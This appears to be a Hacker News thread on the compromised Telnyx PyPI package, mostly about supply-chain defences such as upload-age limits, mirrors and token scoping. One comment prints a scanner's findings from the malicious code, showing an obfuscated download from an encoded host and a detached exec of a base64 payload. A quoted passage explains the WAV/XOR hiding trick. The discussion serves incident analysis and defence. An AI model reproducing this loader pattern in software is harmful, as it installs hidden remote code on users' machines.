https://www.aikido.dev/blog/telnyx-pypi-compromised-teampcp-...
In pip 26.1 (release scheduled for April 2026), it will support the day ISO-8601 duration format, which uv also supports, so you will be able to do --uploaded-prior-to=P3D, or via env vars or config files, as all pip options can be set in either.
I think the python community, and really all package managers, need to promote standard cache servers as first class citizens as a broader solution to supply chain issues. What I want is a server that presents pypi with safeguards I choose. For instance, add packages to the local index that are no less than xxx days old (this uv feature), but also freeze that unless an update is requested or required by a security concern, scan security blacklists to remove/block packages and versions that have been found to have issues. Update the cache to allow a specific version bump. That kind of thing. Basically, I have several projects and I just want to do a pip install but against my own curated pypi. I know this is the intent of virtual envs/lock files, etc, but coordinating across projects and having my own server to grab from when builds happen (guaranteeing builds won't fail) is import. At a minimum it would be good to have a 'curated.json' or something similar that I could point pip/other package managers to to enforce package policies across projects. These supply chain attacks show that all it takes is a single update and your are in big trouble so we, unfortunately, need more layers of defense.
FWIW, https://pypi.org/project/bandersnatch/ is the standard tool for setting up a PyPI mirror, and https://github.com/pypi/warehouse is the codebase for PyPI itself (including the actual website, account management etc.).
If "my own curated pypi" extends as far as a whitelist of build artifacts, you can just make a local "wheelhouse" directory of those, and pass `--no-index` and `--find-links /path/to/wheelhouse` in your `pip install` commands (I'm sure uv has something analogous).
End result will be everyone runs COBOL only.
Enterprise computing with custom software will make a comeback to avoid these pitfalls. I depise OpenJDK/Mono because of patents but at least they come with complete defaults and a 'normal' install it's more than enough to ship a workable application for almost every OS. Ah, well, smartphones. Serious work is never done with these tools, even with high end tables. Maybe commercials/salespeople and that's it.
It's either that... or promoting reproducible environment with Guix everywhere. Your own Guix container, isolated, importing Pip/CPAN/CTAN/NPM/OPAM and who knows else into a manifest file and ready to ship anywhere, either as a Guix package, a Docker container (Guix can do that), a single DEB/RPM, an AppImage ready to launch on any modern GNU/Linux with a desktop and a lot more.
So any project that has UV and any developer that tries to get uv into a project is on average less safe than a project that just uses pip and a requirements.txt
Care to explain? Would love to learn.
I think uv is great, but I somewhat agree. We see this issue with node/npm. We need smaller supply chains/less dependencies overall, not just bandaiding over the poor decisions with better dependency management tooling.
Pip resolves dependencies just fine. It just also lets you try to build the environment incrementally (which is actually useful, especially for people who aren't "developers" on a "project"), and is slow (for a lot of reasons).
I agree with it that dependency management should be made easier. To be honest, I really like how golang's dependency and how golang's community works around dependencies and how golang has a really great stdlib to work with and how the community really likes to rely on very little depenendencies for the most part as well.
Maybe second to that, Zig is interesting as although I see people using libraries, its on a much lower level compared to rust/node/python.
Sadly, rust suffers from the same dependency issue like node/python.
Wanting a better pip means I am unsafe?
Every basic checker used by many security companies screams at `exec(base64.b64decode` when grepping code using simple regexes.
hexora audit 4.87.1/2026-03-27-telnyx-v4.87.1.zip --min-confidence high --exclude HX4000
warning[HX9000]: Potential data exfiltration with Decoded data via urllib.request.request.Request.
┌─ 2026-03-27-telnyx-v4.87.1.zip:tmp/tmp_79rk5jd/telnyx/telnyx/_client.py:77
86:13
│
7783 │ except:
7784 │ pass
7785 │
7786 │ r = urllib.request.Request(_d('aHR0cDovLzgzLjE0Mi4yMDkuMjAzOjgwODAvaGFuZ3VwLndhdg=='), headers={_d('VXNlci1BZ2VudA=='): _d('TW96aWxsYS81LjA=')})
│ ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ HX9000
7787 │ with urllib.request.urlopen(r, timeout=15) as d:
7788 │ with open(t, "wb") as f:
7789 │ f.write(d.read())
│
= Confidence: High
Help: Data exfiltration is the unauthorized transfer of data from a computer.
warning[HX4010]: Execution of obfuscated code.
┌─ 2026-03-27-telnyx-v4.87.1.zip:tmp/tmp_79rk5jd/telnyx/telnyx/_client.py:78
10:9
│
7807 │ if os.name == 'nt':
7808 │ return
7809 │ try:
7810 │ ╭ subprocess.Popen(
7811 │ │ [sys.executable, "-c", f"import base64; exec(base64.b64decode('{_p}').decode())"],
7812 │ │ stdout=subprocess.DEVNULL,
7813 │ │ stderr=subprocess.DEVNULL,
7814 │ │ start_new_session=True
7815 │ │ )
│ ╰─────────^ HX4010
7816 │ except:
7817 │ pass
7818 │
│
= Confidence: VeryHigh
Help: Obfuscated code exec can be used to bypass detection.> The WAV file is a valid audio file. It passes MIME-type checks. But the audio frame data contains a base64-encoded payload. Decode the frames, take the first 8 bytes as the XOR key, XOR the rest, and you have your executable or Python script.
Talk about burying the lede.
The packages are quarantined by PyPi
Follow the overall incident: https://ramimac.me/teampcp/#phase-10
Aikido/Charlie with a very quick blog: https://www.aikido.dev/blog/telnyx-pypi-compromised-teampcp-...
ReversingLabs, JFrog also made parallel reports
The blast radius of TeamPCP just keeps on increasing...
[1]: https://github.com/pypa/advisory-database/blob/main/vulns/te...
Is there any way to setup PyPI to only publish packages that come from a certain pattern of tag that exists in GH? Would such a measure help at all here?
Am I being too nitpicky to say that that is part of your infrastructure?
Doesn't 2FA stop this attack in its tracks? PyPI supports 2FA, no?
On GitHub see my fork runvnc/PySIP. Please let me know if you know if something better for python that is not copy left or rely on some copy left or big external dependency. I was using baresip but it was a pain to integrate and configure with python.
Anyway, after fixing a lot in the original PySIP my version works with Telynx. Not tested on other SIP providers.
Never really thought too much about the security implications but that is of course a benefit too.
Main reasoning for us has been to aim for a really nice HTTP API rather than hide uglyness with an SDK on top.
Does the package have a user base, or did the malicious team target one of the many useless GitHub repos?
That's incorrect, the repo and package date back to 2019
> We've reviewed the details you provided and updated your case with the necessary information. It is now being routed to the appropriate team for further support.
That was July 2025!
My understanding though is most corporations that take security seriously either build everything themselves in a sandbox, or use something like JFrog's Artifactory with various security checks, and don't let users directly connect to public indexes. So I'm not sure what the market is.
> An attacker compromising someone's CI should not give them free reign to publish malicious packages at any time they want.
Agreed, that's why a lot of packaging ecosystems (including PyPI) have moved towards schemes that involve self-scoping, self-expiring tokens. The CI can still publish, but the attacker can no longer exfiltrate the publishing credential and use it indefinitely later.
(These schemes are not mandatory, because they can't be.)
Not that I had the option anyway, because everything using Python breaks if you update it. You know they've given up on backward comparability and version control, when the solution is: run everything in a VM, with its own installation. Apparently it's also needed for security, but the VMs aren't really set up to be secure.
I don't get why everything math heavy uses it. I blame MATLAB for being so awful that it made Python look good.
It's not even the language itself, not that it doesn't have its own issues, or the inefficient way it's executed, but the ecosystem around it is so made out of technical debt.
It's a pandemic, I will be hardening my security, and rotating my keys just in case.
It's the closest language to pseudocode that exists.
Like every other language from 1991, it has rough edges.
Supply-chain security is such a dumpster fire, and threat actors are realising that they can use LLMs to organize such attacks.